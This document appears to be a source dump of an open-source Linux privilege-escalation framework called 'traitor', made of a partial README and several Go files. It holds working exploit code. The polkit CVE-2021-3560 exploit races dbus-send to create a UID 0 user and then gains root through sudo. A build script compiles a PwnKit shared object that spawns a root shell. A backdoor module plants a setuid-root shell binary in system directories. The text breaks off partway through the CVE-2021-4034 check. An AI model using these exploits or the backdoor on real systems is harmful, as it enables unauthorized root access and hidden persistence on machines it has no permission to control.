traitor -p -e docker:writable-socket
```

## Supported Platforms

Traitor will run on all Unix-like systems, though certain exploits will only function on certain systems.

## Getting Traitor

Grab a binary from the [releases page](https://github.com/liamg/traitor/releases), or use go:

```
CGO_ENABLED=0 go get -u github.com/liamg/traitor/cmd/traitor
```

For go1.18:

```
CGO_ENABLED=0 go install github.com/liamg/traitor/cmd/traitor@latest
```

If the machine you're attempting privesc on cannot reach GitHub to download the binary, and you have no way to upload the binary to the machine over SCP/FTP etc., then you can try base64 encoding the binary on your machine, and echoing the base64 encoded string to `| base64 -d > /tmp/traitor` on the target machine, remembering to `chmod +x` it once it arrives.

## In The News
- 20/06/21: [Console 58](https://console.substack.com/p/console-58) - Awesome newsletter featuring tools and beta releases for developers.
- 28/04/21: [Intigriti Bug Bytes #120](https://blog.intigriti.com/2021/04/28/bug-bytes-120-macos-pwned-homebrew-rce-the-worlds-shortest-backdoor/) - Recommended tools
- 09/03/21: [Hacker News thread](https://news.ycombinator.com/item?id=26224719)


================================================
FILE: cmd/pack/main.go
================================================
package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"os"
	"os/exec"
	"path/filepath"
)

const outputDir = "./pkg/exploits/cve20214034"

func main() {
	if err := buildPwnkitSharedObjects(); err != nil {
		panic(err)
	}
}

func buildPwnkitSharedObjects() error {

	for _, platform := range []struct {
		goarch string
		binary string
		args   []string
	}{
		{
			goarch: "amd64",
			binary: "gcc",
			args:   []string{"-Wall", "--shared", "-fPIC", "-o"},
		},
		{
			goarch: "386",
			binary: "gcc",
			args:   []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"},
		},
		{
			goarch: "arm64",
			binary: "aarch64-linux-gnu-gcc",
			args:   []string{"-Wall", "--shared", "-fPIC", "-o"},
		},
	} {

		for _, command := range []string{"/bin/sh", "/usr/bin/true"} {

			desc := filepath.Base(command)

			pwnkitSrc := fmt.Sprintf(`#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {}

void gconv_init(void *step) {
  char *const args[] = {"%s", NULL};
  char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
                           "bin:/sbin:/bin:/opt/bin",
                           NULL};
  setuid(0);
  setgid(0);
  execve(args[0], args, environ);
  exit(0);
}`, command)

			sourcePath := filepath.Join(os.TempDir(), "traitor.c")
			if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil {
				return err
			}
			if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil {
				return err
			}

			soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch)
			soPath := filepath.Join(outputDir, soFilename)

			rawSO, err := ioutil.ReadFile("/tmp/traitor.so")
			if err != nil {
				return err
			}

			output := bytes.NewBufferString(
				fmt.Sprintf(
					"//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{",
					platform.goarch,
					desc,
				),
			)

			for i, b := range rawSO {
				if i%16 == 0 {
					output.WriteString("\n ")
				}
				output.WriteString(fmt.Sprintf(" %d,", b))
			}
			output.WriteString("\n}\n")
			if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil {
				return err
			}
		}
	}

	return nil

}


================================================
FILE: cmd/traitor/main.go
================================================
package main

import (
	"github.com/liamg/traitor/internal/cmd"
)

func main() {
	cmd.Execute()
}


================================================
FILE: go.mod
================================================
module github.com/liamg/traitor

go 1.18

require (
	github.com/creack/pty v1.1.18
	github.com/google/uuid v1.3.0
	github.com/hashicorp/go-version v1.5.0
	github.com/liamg/tml v0.6.0
	github.com/spf13/cobra v1.5.0
	golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e
	golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c
)

require (
	github.com/inconshreveable/mousetrap v1.0.0 // indirect
	github.com/spf13/pflag v1.0.5 // indirect
	golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 // indirect
)


================================================
FILE: go.sum
================================================
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E=
github.com/hashicorp/go-version v1.5.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y=
github.com/liamg/tml v0.6.0/go.mod h1:0h4EAV/zBOsqI91EWONedjRpO8O0itjGJVd+wG5eC+E=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM=
golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c h1:aFV+BgZ4svzjfabn8ERpuB4JI4N6/rdy1iusx77G3oU=
golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM=
golang.org/x/term v0.0.0-20220526004731-065cf7ba2467/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=


================================================
FILE: internal/cmd/backdoor.go
================================================
package cmd

import (
	"fmt"
	"os"

	"github.com/liamg/traitor/pkg/backdoor"

	"github.com/spf13/cobra"
)

func init() {
	backdoorCmd.AddCommand(backdoorInstallCmd)
	backdoorCmd.AddCommand(backdoorUninstallCmd)
	rootCmd.AddCommand(backdoorCmd)
}

var backdoorCmd = &cobra.Command{
	Use:   "backdoor",
	Short: "Install a root shell backdoor",
}

var backdoorInstallCmd = &cobra.Command{
	Use:   "install [path]",
	Short: "Install a root shell backdoor",
	Args:  cobra.MaximumNArgs(1),
	Run: func(cmd *cobra.Command, args []string) {

		var path *string
		var err error
		if len(args) == 1 {
			path, err = backdoor.InstallToPath(args[0])
		} else {
			path, err = backdoor.Install()
		}
		if err != nil {
			fail("Failed to install backdoor: %s", err)
		}

		fmt.Println(*path)
	},
}

var backdoorUninstallCmd = &cobra.Command{
	Use:   "uninstall [path]",
	Short: "Uninstall a root shell backdoor",
	Args:  cobra.MaximumNArgs(1),
	Run: func(cmd *cobra.Command, args []string) {

		path, err := os.Executable()
		if err != nil {
			fail("Failed to determine executable path: %s", err)
		}

		if len(args) == 0 {
			info, err := os.Stat(path)
			if err != nil {
				fail("Failed to stat path: %s", err)
			}
			if info.Mode()&os.ModeSetuid == 0 {
				fail("Not a backdoor.")
			}
		} else {
			path = args[1]
		}

		if err := backdoor.Uninstall(path); err != nil {
			fail("Failed to remove backdoor: %s", err)
		}

		fmt.Println("Backdoor removed.")
	},
}


================================================
FILE: internal/cmd/list.go
================================================
package cmd

import (
	"fmt"
	"github.com/liamg/traitor/pkg/exploits"
	"github.com/spf13/cobra"
)


func init() {
	rootCmd.AddCommand(listCmd)
}

var listCmd = &cobra.Command{
	Use:   "list",
	Short: "List all available methods.",
	Run: func(cmd *cobra.Command, args []string) {
		allExploits := exploits.Get(exploits.SpeedAny)
		for _, exploit := range allExploits {
			fmt.Println(exploit.Name)
		}
	},
}


================================================
FILE: internal/cmd/root.go
================================================
package cmd

import (
	"context"
	"fmt"
	"os"
	"os/user"

	"github.com/liamg/traitor/internal/version"

	"github.com/liamg/traitor/pkg/logger"
	"github.com/liamg/traitor/pkg/state"

	"github.com/liamg/traitor/pkg/exploits"

	"github.com/spf13/cobra"
)

var runAnyExploit bool
var exploitName string
var promptForPassword bool
var skipExploits []string

func init() {
	rootCmd.PersistentFlags().BoolVarP(&runAnyExploit, "any", "a", runAnyExploit, "Attempt to exploit a vulnerability as soon as it is detected. Provides a shell where possible.")
	rootCmd.PersistentFlags().BoolVarP(&promptForPassword, "with-password", "p", promptForPassword, "Prompt for the user password, if you know it. Can provide more GTFOBins possibilities via sudo.")
	rootCmd.PersistentFlags().StringVarP(&exploitName, "exploit", "e", exploitName, "Run the specified exploit, if the system is found to be vulnerable. Provides a shell where possible.")
	rootCmd.PersistentFlags().StringSliceVarP(&skipExploits, "skip", "k", skipExploits, "Exploit(s) to skip - specify multiple times to skip multiple exploits.")
}

var rootCmd = &cobra.Command{
	Use:   "traitor",
	Short: "Traitor is a privilege escalation framework for Linux",
	Long: `An extensible privilege escalation framework for Linux
                Complete documentation is available at https://github.com/liamg/traitor`,
	Args: cobra.ExactArgs(0),
	PreRun: func(_ *cobra.Command, args []string) {
		fmt.Printf("\x1b[34m"+`

▀█▀ █▀█ ▄▀█ █ ▀█▀ █▀█ █▀█
░█░ █▀▄ █▀█ █ ░█░ █▄█ █▀▄ %s
`+"\x1b[31mhttps://github.com/liamg/traitor\n\n", version.Version)
	},
	Run: func(cmd *cobra.Command, args []string) {

		ctx := context.Background()
		baseLog := logger.New()

		if user, err := user.Current(); err == nil && user.Uid == "0" {
			baseLog.Printf("You are already root.")
			return
		}

		baseLog.Printf("Assessing machine state...")
		localState := state.New()
		localState.HasPassword = promptForPassword
		localState.Assess()

		baseLog.Printf("Checking for opportunities...")
		allExploits := exploits.Get(exploits.SpeedAny)
		var found bool
		var vulnFound bool
		for _, exploit := range allExploits {
			if shouldSkip(exploit.Name) {
				continue
			}
			if exploitName == "" || exploitName == exploit.Name {
				found = true
				exploitLogger := baseLog.WithTitle(exploit.Name)
				if exploit.Vulnerability.IsVulnerable(ctx, localState, exploitLogger) {
					vulnFound = true
					if disclosure, ok := exploit.Vulnerability.(exploits.Disclosure); ok {
						exploitLogger.Printf("Gathering information...")
						if err := disclosure.Disclose(ctx, localState, exploitLogger); err != nil {
							baseLog.WithTitle("error").Printf("Disclosure failed: %s", err)
						}
					}
					if sheller, ok := exploit.Vulnerability.(exploits.ShellDropper); ok {
						if runAnyExploit || exploitName == exploit.Name {
							exploitLogger.Printf("Opportunity found, trying to exploit it...")
							if err := sheller.Shell(ctx, localState, exploitLogger); err != nil {
								baseLog.WithTitle("error").Printf("Exploit failed: %s", err)
								baseLog.Printf("Continuing to look for opportunities")
								vulnFound = false
								continue
							}
							exploitLogger.Printf("Session complete.")
							baseLog.Printf("Done.")
							return
						}
						exploitLogger.Printf("System is vulnerable! Run again with '--exploit %s' to exploit it.", exploit.Name)
					} else if exploitName != "" {
						exploitLogger.Printf("No local exploit available for '%s'", exploit.Name)
					}
				} else if exploitName != "" {
					exploitLogger.Printf("System is not vulnerable to '%s' - cannot exploit.", exploit.Name)
				}
			}
		}
		if exploitName != "" && !found {
			baseLog.Printf("No exploit found for '%s'", exploitName)
		} else if !vulnFound {
			baseLog.Printf("Nothing found to exploit.")
		}
	},
}

func shouldSkip(id string) bool {
	for _, skip := range skipExploits {
		if skip == id {
			return true
		}
	}
	return false
}

func Execute() {
	if err := rootCmd.Execute(); err != nil {
		_, _ = fmt.Fprintln(os.Stderr, err)
		os.Exit(1)
	}
}


================================================
FILE: internal/cmd/setuid.go
================================================
package cmd

import (
	"fmt"
	"os"
	"os/exec"
	"syscall"
	"time"

	"github.com/spf13/cobra"
)

var setuidShell = "/bin/sh"
var setuidShellCmd = ""

func init() {
	setuidCmd.Flags().StringVarP(&setuidShell, "shell", "s", setuidShell, "Path to shell to execute, e.g. /bin/bash.")
	setuidCmd.Flags().StringVarP(&setuidShellCmd, "cmd", "c", setuidShellCmd, "Shell command to execute - leave blank to be dropped in interactive shell.")
	rootCmd.AddCommand(setuidCmd)
}

var setuidCmd = &cobra.Command{
	Use:   "setuid",
	Short: "Wrap a given shell with setuid",
	Run: func(cmd *cobra.Command, args []string) {

		path, err := os.Executable()
		if err != nil {
			fail("Error requesting binary path: %s", err)
		}

		stat, err := os.Stat(path)
		if err != nil {
			fail("Error requesting binary stat: %s", err)
		}

		if stat.Mode()&os.ModeSetuid == 0 {
			fail("Error: the traitor binary does not have the setuid bit set: %o", stat.Mode())
		}

		effectiveUID := syscall.Geteuid()
		effectiveGID := syscall.Getegid()

		shellCmd := &exec.Cmd{
			SysProcAttr: &syscall.SysProcAttr{
				Credential: &syscall.Credential{
					Uid: uint32(effectiveUID),
					Gid: uint32(effectiveGID),
				},
			},
			Path:   setuidShell,
			Args:   []string{setuidShell},
			Env:    os.Environ(),
			Dir:    "/",
			Stdin:  os.Stdin,
			Stdout: os.Stdout,
			Stderr: os.Stderr,
		}

		if setuidShellCmd != "" {
			shellCmd.Args = append(shellCmd.Args, "-c", setuidShellCmd)
		} else {
			time.Sleep(time.Second)
			fmt.Println("")
			defer func() { fmt.Println("") }()
		}

		if err := shellCmd.Run(); err != nil {
			fail("Error: %s", err)
		}
	},
}

func fail(format string, args ...interface{}) {
	_, _ = fmt.Fprintf(os.Stderr, format+"\n", args...)
	os.Exit(1)
}


================================================
FILE: internal/pipe/pipe.go
================================================
package pipe

import (
	"fmt"
	"io"
	"strings"
	"sync"
	"time"
)

type LockablePipe struct {
	input    io.Reader
	received []byte
	mu       sync.Mutex
}

func NewLockable(input io.Reader) *LockablePipe {
	return &LockablePipe{
		input:  input,
	}
}

func (l *LockablePipe) Flush() []byte {
	l.mu.Lock()
	defer l.mu.Unlock()
	output := l.received[:]
	l.received = nil
	return output
}

func (l *LockablePipe) WaitForString(expected string, until time.Duration) error {
	buffer := make([]byte, 0xff)
	timer := time.NewTimer(until)
	errChan := make(chan error, 1)
	var quit bool
	l.mu.Lock()
	go func() {
		defer l.mu.Unlock()
		for {
			if quit {
				return
			}
			n, err := l.input.Read(buffer)
			if err != nil {
				errChan <- err
				return
			}
			if quit {
				return
			}
			l.received = append(l.received, buffer[:n]...)
			if strings.Contains(string(l.received), expected) {
				errChan <- nil
				return
			}
		}
	}()

	select {
	case <-timer.C:
		quit = true
		return fmt.Errorf("timed out")
	case err := <-errChan:
		return err
	}

}

func (l *LockablePipe) Read(p []byte) (n int, err error) {

	l.mu.Lock()
	defer l.mu.Unlock()

	if len(l.received) > 0 {
		// we still have some buffer to flush
		n = copy(p, l.received)
		l.received = l.received[n:]
		return
	}

	return l.input.Read(p)
}


================================================
FILE: internal/version/version.go
================================================
package version

var Version string = "v0.0.0"


================================================
FILE: pkg/backdoor/traitor.go
================================================
package backdoor

import (
	"fmt"
	"io/ioutil"
	"os"
	"path/filepath"
	"syscall"

	"github.com/liamg/traitor/pkg/random"

	"golang.org/x/sys/unix"
)

type Metadata struct {
	Path string
}

var backdoorDirs = []string{
	"/bin",
	"/sbin",
	"/usr/bin",
	"/",
}

var backdoorFilenames = []string{
	"initrd",
}

func findWritableDirectory() (string, error) {

	var candidates []string

	candidates = append(candidates, backdoorDirs...)

	if targetDir, err := os.UserHomeDir(); err == nil {
		candidates = append(candidates, targetDir)
	}

	for _, candidate := range candidates {
		if err := syscall.Access(candidate, unix.W_OK); err != nil {
			continue
		}
		return candidate, nil
	}

	return "", fmt.Errorf("no writable directory found")
}

func Uninstall(path string) error {
	return os.Remove(path)
}

func Install() (*string, error) {

	targetDir, err := findWritableDirectory()
	if err != nil {
		return nil, err
	}

	var candidates []string
	candidates = append(candidates, backdoorFilenames...)
	for i := 0; i < 10; i++ {
		candidates = append(candidates, random.Filename())
	}
	var path string
	for _, name := range candidates {
		testPath := filepath.Join(targetDir, name)
		if _, err := os.Stat(path); os.IsNotExist(err) {
			path = testPath
			break
		}
	}

	if path == "" {
		return nil, fmt.Errorf("failed to find writable path")
	}

	return InstallToPath(path)
}

func InstallToPath(path string) (*string, error) {

	if _, err := os.Stat(path); !os.IsNotExist(err) {
		if err != nil {
			return nil, err
		}
		return nil, fmt.Errorf("file already exists")
	}

	file, err := os.Create(path)
	if err != nil {
		return nil, err
	}

	setuidShellSrcPath, err := os.Executable()
	if err != nil {
		return nil, err
	}

	input, err := ioutil.ReadFile(setuidShellSrcPath)
	if err != nil {
		return nil, err
	}

	if _, err := file.Write(input); err != nil {
		return nil, err
	}
	if err := file.Close(); err != nil {
		return nil, err
	}

	if err := os.Chown(path, 0, 0); err != nil {
		return nil, err
	}

	if err := os.Chmod(path, 0777|os.ModeSetuid|os.ModeSetgid); err != nil {
		return nil, err
	}

	return &path, nil
}


================================================
FILE: pkg/exploits/all.go
================================================
package exploits

import (
	"github.com/liamg/traitor/pkg/exploits/cve20213560"
	"github.com/liamg/traitor/pkg/exploits/cve20214034"
	"github.com/liamg/traitor/pkg/exploits/cve20220847"
	"github.com/liamg/traitor/pkg/exploits/dockersock"
)

func init() {
	register("docker:writable-socket", SpeedFast, dockersock.New())
}

func init() {
	register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New())
}

func init() {
	register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
}

func init() {
	register("kernel:CVE-2022-0847", SpeedFast, cve20220847.New())
}


================================================
FILE: pkg/exploits/cve20213560/exploit.go
================================================
package cve20213560

import (
	"context"
	"fmt"
	"io"
	"math/rand"
	"os"
	"os/exec"
	"os/signal"
	"os/user"
	"regexp"
	"strings"
	"syscall"
	"time"

	"github.com/creack/pty"
	"github.com/hashicorp/go-version"
	"github.com/liamg/traitor/internal/pipe"
	"github.com/liamg/traitor/pkg/logger"
	"github.com/liamg/traitor/pkg/payloads"
	"github.com/liamg/traitor/pkg/state"
	"golang.org/x/crypto/ssh/terminal"
)

type exploit struct {
}

func New() *exploit {
	exp := &exploit{}
	return exp
}

var simpleVersionRegex = regexp.MustCompile(`^[0-9\.\-]+`)

func (v *exploit) isVulnerableDebian(s *state.State) bool {

	if !s.IsDebianLike() {
		return false
	}

	out, err := exec.Command("sh", "-c", "apt info policykit-1 | grep 'Version:'").Output()
	if err != nil {
		return false
	}

	fields := strings.Fields(string(out))
	if len(fields) < 2 {
		return false
	}

	simpleVersion := simpleVersionRegex.FindString(fields[1])

	actual, err := version.NewVersion(simpleVersion)
	if err != nil {
		return false
	}

	vulnerable, err := version.NewVersion("0.105-26") // vuln was introduced in 0.105-26
	if err != nil {
		return false
	}
	patched, err := version.NewVersion("0.105-31") // vuln was patched in 0.105-31
	if err != nil {
		return false
	}

	return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}

func (v *exploit) isVulnerableOther() bool {

	output, err := exec.Command("pkcheck", "--version").Output()
	if err != nil {
		return false
	}

	fields := strings.Fields(string(output))
	actualVersion := fields[len(fields)-1]
	actual, err := version.NewVersion(actualVersion)
	if err != nil {
		return false
	}

	vulnerable, err := version.NewVersion("0.113") // vuln was introduced in 0.113
	if err != nil {
		return false
	}
	patched, err := version.NewVersion("0.119") // vuln was patched in 0.113
	if err != nil {
		return false
	}

	return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}

func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {

	// two different forks are versioned differently
	if !v.isVulnerableDebian(s) && !v.isVulnerableOther() {
		return false
	}

	if !s.IsPackageInstalled("gnome-control-center") || !s.IsPackageInstalled("accountsservice") {
		// if required packages aren't installed, we may be able to install them with package kit...
		if !s.IsPackageInstalled("packagekit") {
			return false
		}
	}

	log.Printf("Polkit version is vulnerable!")
	return true
}

func (v *exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
	return v.Exploit(ctx, s, log, payloads.Defer)
}

func (v *exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {

	// attempt to install these via packagekit if they're not installed
	if err := v.installPackage("gnome-control-center", s, log); err != nil {
		return err
	}
	if err := v.installPackage("accountsservice", s, log); err != nil {
		return err
	}

	user, err := v.createUser(log)
	if err != nil {
		return fmt.Errorf("failed to create user")
	}

	password := v.setPassword(user, log)

	log.Printf("Setting up tty...")

	cmd := exec.Command("sh", "-c", fmt.Sprintf("su - %s", user.Username))

	// Start the command with a pty.
	ptmx, err := pty.Start(cmd)
	if err != nil {
		return err
	}
	// Make sure to close the pty at the end.
	defer func() { _ = ptmx.Close() }() // Best effort.

	// Handle pty size.
	ch := make(chan os.Signal, 1)
	signal.Notify(ch, syscall.SIGWINCH)
	go func() {
		for range ch {
			_ = pty.InheritSize(os.Stdin, ptmx)
		}
	}()
	ch <- syscall.SIGWINCH // Initial resize.

	// Set stdin in raw mode.
	oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
	if err != nil {
		return err
	}
	defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.

	expChan := make(chan error)

	lockable := pipe.NewLockable(ptmx)

	log.Printf("Attempting authentication as new user...")
	if err := lockable.WaitForString("Password:", time.Second*2); err == nil {
		_ = lockable.Flush()
		if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
			return err
		}
		if err := lockable.WaitForString("su: Authentication failure", time.Second*8); err == nil {
			_ = lockable.Flush()
			return fmt.Errorf("invalid password")
		}
		time.Sleep(time.Millisecond * 100)
	} else {
		return err
	}
	log.Printf("Authenticated as %s (%s)!", user.Username, user.Uid)

	log.Printf("Attempting escalation to root...")
	if _, err := ptmx.Write([]byte("sudo -i; exit\n")); err != nil {
		return err
	}
	if err := lockable.WaitForString("[sudo] password for", time.Second*8); err == nil {
		_ = lockable.Flush()
		if _, err := ptmx.Write([]byte(fmt.Sprintf("%s\n", password))); err != nil {
			return err
		}
	} else {
		return err
	}

	log.Printf("Authenticated as root!")

	log.Printf("Writing payload...")

	go func() {
		if payload != payloads.Defer {
			time.Sleep(time.Millisecond * 100)
			if _, err := ptmx.Write([]byte(payload)); err != nil {
				expChan <- err
				return
			}
			time.Sleep(time.Millisecond * 100)
			if _, err := ptmx.Write([]byte{0x0d, 0x0a}); err != nil {
				expChan <- err
				return
			}
		}
		expChan <- nil
	}()

	// Copy stdin to the pty and the pty to stdout.
	go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
	_, _ = io.Copy(os.Stdout, lockable)

	if err := <-expChan; err != nil {
		return err
	}

	return nil
}

func (v *exploit) createUser(log logger.Logger) (*user.User, error) {

	username := fmt.Sprintf("traitor%d", rand.Intn(10000))
	userinfo := "CVE-2021-3560"

	createUser := fmt.Sprintf(`--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:%s string:%s int32:1`,
		username,
		userinfo,
	)

	log.Printf("Sampling timing of user creation command...")

	avgTime := v.timeDbusCommand(strings.Split(createUser, " "))

	log.Printf("Average time for user creation to fail authentication is %s", avgTime)

	log.Printf("Attempting to create user '%s' by forcing UID=0...", username)

	for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond {
		for i := 0; i < 10; i++ {
			func() {
				ctx, cancel := context.WithTimeout(context.Background(), delayTime)
				defer cancel()
				_ = exec.CommandContext(ctx, "dbus-send", strings.Split(createUser, " ")...).Run()
			}()
		}
	}

	user, err := user.Lookup(username)
	if err != nil {
		return nil, err
	}

	log.Printf("User '%s' was created with UID (%s)!", user.Username, user.Uid)
	return user, nil
}

func (v *exploit) setPassword(u *user.User, log logger.Logger) string {

	password := "traitor"
	passwordHash := "$5$xRveGoW.etBZqJwg$uEvtrnKPbuEvTxJAisVrCevthWxafgX6.uAS6uF7QW7"

	setPassword := fmt.Sprintf(
		`--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User%s org.freedesktop.Accounts.User.SetPassword string:%s string:lol`,
		u.Uid,
		passwordHash,
	)

	log.Printf("Sampling timing of password set command...")

	avgTime := v.timeDbusCommand(strings.Split(setPassword, " "))

	log.Printf("Average time for password set to fail authentication is %s", avgTime)

	log.Printf("Attempting to set user password...")

	for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond / 4 {
		for i := 0; i < 10; i++ {
			func() {
				ctx, cancel := context.WithTimeout(context.Background(), delayTime)
				defer cancel()
				_ = exec.CommandContext(ctx, "dbus-send", strings.Split(setPassword, " ")...).Run()
			}()
		}
	}

	log.Printf("Finished attempting to set password.")
	return password
}

func (v *exploit) timeDbusCommand(args []string) time.Duration {

	var totalTime time.Duration
	samples := 100

	for i := 0; i < samples; i++ {
		start := time.Now()
		_ = exec.Command("dbus-send", args...).Run()
		totalTime += time.Since(start)
	}

	return totalTime / time.Duration(samples)
}

func (v *exploit) installPackage(name string, s *state.State, log logger.Logger) error {

	if s.IsPackageInstalled(name) {
		return nil
	}

	if !s.IsPackageInstalled("packagekit") {
		return fmt.Errorf("required packages are not available")
	}

	log.Printf("Package '%s' is not installed, trying to force installation via packagekit...", name)

	installPackage := fmt.Sprintf(`--session --print-reply --type=method_call --dest=org.freedesktop.PackageKit /org/freedesktop/PackageKit org.freedesktop.PackageKit.Modify.InstallPackageNames uint32:1 array:string:%s string:`,
		name,
	)

	log.Printf("Sampling timing of package installation command...")

	avgTime := v.timeDbusCommand(strings.Split(installPackage, " "))

	log.Printf("Average time for package install to fail authentication is %s", avgTime)

	log.Printf("Attempting to install '%s' by forcing UID=0...", name)
	log.Printf("Please wait ~60s...")

	for delayTime := avgTime / 4; delayTime < avgTime; delayTime += time.Millisecond {
		for i := 0; i < 10; i++ {
			func() {
				ctx, cancel := context.WithTimeout(context.Background(), delayTime)
				defer cancel()
				_ = exec.CommandContext(ctx, "dbus-send", strings.Split(installPackage, " ")...).Run()
			}()
		}
	}

	time.Sleep(time.Minute)

	if !s.IsPackageInstalled(name) {
		return fmt.Errorf("failed to force install of '%s' via packagekit", name)
	}

	log.Printf("Package '%s' was installed!", name)
	return nil
}


================================================
FILE: pkg/exploits/cve20214034/exploit.go
================================================
package cve20214034

import (
	"context"
	"fmt"
	"io/ioutil"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"

	"github.com/google/uuid"
	"github.com/liamg/traitor/pkg/logger"
	"github.com/liamg/traitor/pkg/payloads"
	"github.com/liamg/traitor/pkg/state"
)

// see:
// - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
// - https://seclists.org/oss-sec/2022/q1/80
type cve20214034Exploit struct {
	uuid string
}

func New() *cve20214034Exploit {
	exp := &cve20214034Exploit{
		uuid: uuid.NewString(),
	}
	return exp
}

func (v *cve20214034Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool {

	if _, err := exec.LookPath("pkexec"); err != nil {
		return false
	}

	data, err := exec.Command("pkexec", "--version").Output()
	if err != nil {
		return false
	}

	bits := strings.Split(string(data), " ")
	last := bits[len(bits)-1]

	versionBits := strings.Split(last, ".")
	if versionBits[0] != "0" || len(versionBits) <= 1 {
		return false
	}
	minorStr := strings.Split(versionBits[1], "-")[0]
	minor, err := strconv.Atoi(minorStr)
	if err != nil {
		return false
	}
